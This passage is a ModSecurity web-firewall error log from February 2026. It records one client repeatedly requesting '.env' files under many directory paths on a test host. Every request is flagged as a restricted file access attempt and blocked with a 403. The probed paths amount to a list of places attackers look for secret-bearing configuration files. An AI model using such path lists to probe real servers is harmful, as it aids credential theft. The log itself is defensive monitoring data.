&quot;aZ-Ny5qP6Uim1aZiP_g49gAAAAY&quot;]
[Thu Feb 26 01:03:23.298592 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g49gAAAAY&quot;]
[Thu Feb 26 01:03:23.298742 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g49gAAAAY&quot;]
[Thu Feb 26 01:03:23.311489 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tools/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEQAAAAc&quot;]
[Thu Feb 26 01:03:23.311745 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEQAAAAc&quot;]
[Thu Feb 26 01:03:23.311931 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEQAAAAc&quot;]
[Thu Feb 26 01:03:23.336535 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /travel_form/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEgAAAAc&quot;]
[Thu Feb 26 01:03:23.336756 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEgAAAAc&quot;]
[Thu Feb 26 01:03:23.336898 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEgAAAAc&quot;]
[Thu Feb 26 01:03:23.352581 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4-AAAAAY&quot;]
[Thu Feb 26 01:03:23.352804 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4-AAAAAY&quot;]
[Thu Feb 26 01:03:23.352957 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4-AAAAAY&quot;]
[Thu Feb 26 01:03:23.361370 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ts/prime/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEwAAAAc&quot;]
[Thu Feb 26 01:03:23.361581 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEwAAAAc&quot;]
[Thu Feb 26 01:03:23.361724 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVEwAAAAc&quot;]
[Thu Feb 26 01:03:23.419286 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4-QAAAAY&quot;]
[Thu Feb 26 01:03:23.419539 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4-QAAAAY&quot;]
[Thu Feb 26 01:03:23.419715 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4-QAAAAY&quot;]
[Thu Feb 26 01:03:23.483111 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ubuntu/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVFgAAAAc&quot;]
[Thu Feb 26 01:03:23.483361 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVFgAAAAc&quot;]
[Thu Feb 26 01:03:23.483518 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVFgAAAAc&quot;]
[Thu Feb 26 01:03:23.525145 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVFwAAAAc&quot;]
[Thu Feb 26 01:03:23.525369 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVFwAAAAc&quot;]
[Thu Feb 26 01:03:23.525513 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVFwAAAAc&quot;]
[Thu Feb 26 01:03:23.560391 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /unixtime/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGAAAAAc&quot;]
[Thu Feb 26 01:03:23.560608 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGAAAAAc&quot;]
[Thu Feb 26 01:03:23.560757 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGAAAAAc&quot;]
[Thu Feb 26 01:03:23.573998 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tools/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_QAAAAY&quot;]
[Thu Feb 26 01:03:23.574207 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_QAAAAY&quot;]
[Thu Feb 26 01:03:23.574380 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_QAAAAY&quot;]
[Thu Feb 26 01:03:23.591096 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /unsplash-downloader/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGQAAAAc&quot;]
[Thu Feb 26 01:03:23.591318 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGQAAAAc&quot;]
[Thu Feb 26 01:03:23.591483 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVGQAAAAc&quot;]
[Thu Feb 26 01:03:23.606001 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /travel_form/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g4_gAAAAY&quot;]
